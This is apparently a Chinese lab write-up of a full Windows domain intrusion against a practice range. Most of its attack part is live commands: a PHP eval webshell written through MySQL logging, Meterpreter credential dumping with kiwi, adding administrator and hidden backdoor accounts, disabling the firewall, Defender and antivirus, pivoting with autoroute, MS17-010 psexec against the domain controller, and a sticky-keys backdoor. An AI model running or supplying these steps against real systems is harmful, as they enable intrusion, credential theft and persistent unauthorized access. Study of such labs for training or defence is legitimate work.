信息收集
首先对主机nmap,开放3306,80
扫描80,发现phpmyadmin,存在弱口令
中间遇到问题,如何查看cms版本?常用CMS侦查程序有哪些?
1.whatweb -v "url"
2.cmsseek
3.查看版本信息可到百度搜索标志文件 √
信息收集结果如下:
MySQL 5.5.3
phpMyAdmin 3.5.8.2
Apache 2.4.23 (Win32)
php 5.4.45
MySQL "C:/phpStudy/MySQL"
对win7扫描,发现beifen.rar,还发现了yxcms
GetShell
思路一:百度搜索yxcms,找到后台,使用弱口令登录后台,在编辑模板板块新增一句话马,蚁剑连接,上线msf,getsystem
思路二:phpmyadmin入口,发现导入导出功能关闭,故进行日志GetShell
条件:
1.对应web目录有写权限
2.需要有物理路径
3.如果拿到的是注入,还需要能执行堆叠
select @@basedir;
set global general_log=on;
select '<?php @eval($_POST[a]);?>';
提权&维持权限
发现权限god/administrator,处于高权限,直接上传msf马,getsystem
如果是管理员权限,可以直接注入lsass.exe,这样可以贴合架构,还能拿NT /System
load kiwi
help kiwi
creds_all
开放/关闭 3389:
#win7开启3389
REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f
# 添加账户密码
net user Tr0e Pass!@123 /add
# 给Tr0e账户添加为管理员权限
net localgroup administrators Tr0e /add
#查询是否成功添加 Tr0e 用户
net user Tr0e
#添加防火墙规则
netsh advfirewall firewall add rule name="Open 3389" dir=in action=allow protocol=TCP localport=3389
#Windows Server 2003 系统及之前版本
netsh firewall set opmode disable
#Windows Server 2003 之后系统版本
netsh advfirewall set allprofiles state off
或者是使用msf自带模块:
run post/windows/manage/enable_rdp#开启3389端口
成功开启了远程桌面后,会生成一个txt文件,这个txt文件往后可用来关闭远程桌面,关闭命令
For cleanup execute Meterpreter resource file: /root/.msf4/loot/20220927074752_default_192.168.253.150_host.windows.cle_158624.txt
meterpreter> run multi_console_command xxx.txt
关闭3389
REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 11111111 /f
GetSystem后,可以使用以下命令关闭杀软(不过国产杀软)
netsh advfirewall set allprofiles state off #off换成on则开启防火墙
net stop windefend关Defender
meterpreter > run post/windows/manage/killavMSF自带关杀软操作
收集横向移动信息
内网信息收集的主要目的就是查找域控以及域内的其他主机,先附上部分内网信息收集的命令:
net view # 查看局域网内其他主机名
net config Workstation # 查看计算机名、全名、用户名、系统版本、工作站、域、登录域
net user # 查看本机用户列表
net user /domain # 查看域用户
net local groupadministrators# 查看本地管理员组(通常会有域用户)
net view /domain # 查看有几个域
net user 用户名 /domain # 获取指定域用户的信息
net group /domain # 查看域里面的工作组,查看把用户分了多少组(只能在域控上操作)
net group 组名/domain # 查看域中某工作组
net group "domain admins" /domain # 查看域管理员的名字
net group "domain computers" /domain # 查看域中的其他主机名
net group "doamin controllers" /domain # 查看域控制器主机名(可能有多台)
1、先判断是否存在域,使用ipconfig /all 查看 DNS 服务器,发现主 DNS 后缀不为空,存在域god.org。如下图所示:
![](https://i-blog.csdnimg.cn/blog_migrate/8962d7efe472a5bdb6cddd6b5957d177.png)
或者也可以执行命令net config Workstation 来查看当前计算机名、全名、用户名、系统版本、工作站、域、登录域等全面的信息:
![](https://i-blog.csdnimg.cn/blog_migrate/bad3cfa174991b0485d2ddad4bc61fa9.png)
2、上面发现 DNS 服务器名为 god.org,当前登录域为 GOD,那接下来可执行net view /domain查看有几个域(域环境可能存在多个域):
![](https://i-blog.csdnimg.cn/blog_migrate/372bfa6536e06abe5b21cb8fc56ba7fd.png)
3、既然只有一个域,那就利用 net group "domain controllers" /domain 命令查看域控制器主机名,直接确认域控主机的名称为 OWA:
![](https://i-blog.csdnimg.cn/blog_migrate/f7febcb11ec3278e6899834c9ba4ddbd.png)
4、已经确认域控主机的名称为 OWA,继续执行命名net view查看查看局域网内其他主机信息(主机名称、IP地址),可得知域控主机的 IP 为 192.168.52.138,如下图所示:
![](https://i-blog.csdnimg.cn/blog_migrate/e3c811364c266a0169e928562a25f077.png)
5、局域网扫描出来除了域控主机之外还有另一台主机(名称为ROOT-TVI862UBEH),最后再确认一下该主机是否也是存在域中,故执行命令net group "domain computers" /domain 查看域中的其他主机名,发现包含ROOT-TVI862UBEH,故域中还包含一个域成员主机192.168.52.141,如下所示:
![](https://i-blog.csdnimg.cn/blog_migrate/5c838477e4b6fad69787fddd02c63d6e.png)
至此内网域信息搜集完毕,已经明确了域控主机为192.168.52.138,同时还存在另一台域成员192.168.52.141,接下来的目标就是横向渗透拿下域控!
内网横向渗透
简单检查跳板机
调用post/windows/gather/checkvm判断靶机是否属于虚拟机(检查是否进入了蜜罐):
再如调用 post/windows/gather/enum_applications模块枚举列出安装在靶机上的应用程序:
MS17_010检测
静态路由配置
MSF 的 autoroute 模块是 MSF 框架中自带的一个路由转发功能,实现过程是 MSF 框架在已经获取的 Meterpreter Shell 的基础上添加一条去往“内网”的路由,直接使用 MSF 去访问原本不能直接访问的内网资源,只要路由可达我们既可使用 MSF 来进行探测了。
首先需要使用配置静态路由:
加载MSF的autoroute模块,获取当前机器的所有网段信息meterpreter > run post/multi/manage/autoroute
添加目标内网路由
meterpreter > run post/multi/manage/autoroute SUBNET=192.168.52.0 ACTION=ADD
横向移动
在跳板机进行了提权搜集信息之后,便获得了域内账户的登陆信息。再单独对某台机器进行横向时,如若某台机子无法打入,大概率是开启了防火墙。
关防火墙
可以尝试使用meterpreter的auxiliary/admin/smb/ms17_010_command模块执行关闭防火墙命令:
use auxiliary/admin/smb/ms17_010_command
set SMBUser administrator
set SMBDomain god
set SMBPass hash/msv
set command "netsh advfirewall set allprofiles state off"
run
use exploit/windows/smb/psexec
上线
CS上线图形化,较为简单,不再赘述。
使用exploit/windows/smb/ms17_010_psexec 尝试打一个正向shell回来
use exploit/windows/smb/ms17_010_psexec
set payload windows/meterpreter/bind_tcp
set lport 2222
set rhost 192.168.52.138
run
维权&后门
sethc.exe 留下粘滞键后门
外加影子账户
net user fuck$ "123.com" /add
net localgroup Administrators fuck$ /add
net localgroup "Remote Desktop Users" fuck$ /add
注册表一定要去使用高权限用户修改哦
没效果就重启一下
记录战果
![](https://i-blog.csdnimg.cn/blog_migrate/c45337b8a175bef03668f7c12591b80f.png)